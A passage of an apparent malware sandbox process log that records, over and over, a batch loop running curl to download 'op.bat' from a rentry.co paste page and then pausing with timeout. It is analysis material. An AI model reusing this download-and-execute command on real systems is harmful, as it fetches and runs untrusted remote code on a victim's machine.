    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1388
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4576
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4872
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3772
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2120
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4816
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4984
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2212
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:336
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:116
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1680
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3536
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1924
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1308
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4744
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2032
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1728
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4212
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2492
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4832
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:364
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2180
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4892
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3212
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1096
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:5004
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1316
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:216
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1060
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3988
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3248
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3904
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3888
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4004
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4812
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:2028
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3108
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2656
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:232
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1416
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1856
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4040
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1476
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4840
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3196
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3748
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4656
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:4280
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4032
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4992
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4288
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1304
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3016
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2084
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:752
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2244
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1336
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:4556
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4912
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3996
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2172
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:4184
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2692
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:984
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4176
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:4808
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2248
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1472
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1904
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3956
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1492
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3036
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3232
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2296
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2884
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3376
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1312
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1460
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2784
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:432
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1616
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1932
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1164
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:3708
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:5044
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4188
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2956
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1580
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1996
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3336
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4624
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3784
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:532
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3448
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1560
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2688
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4144
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1456
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2212
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:336
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:116
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:1680
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4008
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4012
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3068
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1452
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2032
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1728
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1464
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2684
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:364
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4864
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3676
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1212
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1216
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:5020
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2680
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2260
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2984
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4132
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:5064
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4716
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1140
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2012
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3400
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:2948
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1248
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:2028
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2160
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2656
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3268
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:2840
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2416
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3932
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3284
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4528
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4604
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3748
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3384
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:1660
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4280
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:4032
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:960
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1812
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3652
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1356
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3828
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:4324
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4108
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2084
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1252
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:616
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4924
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:816
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3976
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3044
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2420
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:868
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4416
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1664
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1760
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4316
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1788
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1472
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2472
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3956
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:5024
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3036
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1208
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1960
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2888
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:320
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4284
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:3544
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:636
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:1204
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4620
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3604
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2676
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3868
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:412
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2064
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1052
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:2300
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1548
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1368
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:756
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2464
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4688
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2568
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4168
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2252
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:552
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1184
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3328
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4276
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4492
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4204
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1924
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1308
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3056
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3880
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2200
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:1100
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4728
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1076
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1976
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1324
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3040
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4836
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2684
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:364
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4864
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:3676
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3092
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:944
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4940
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3000
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4076
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:2964
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3572
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3248
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3904
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4564
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:380
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1196
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4640
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2644
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:956
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1912
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2616
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4368
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2344
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1984
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4040
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1332
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4700
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4392
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4604
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3112
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:5016
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4596
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2532
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:1936
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2312
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3016
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1624
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:5072
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3780
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:544
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4852
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1336
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4924
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4912
    - - C:\Windows\system32\curl.exe
        
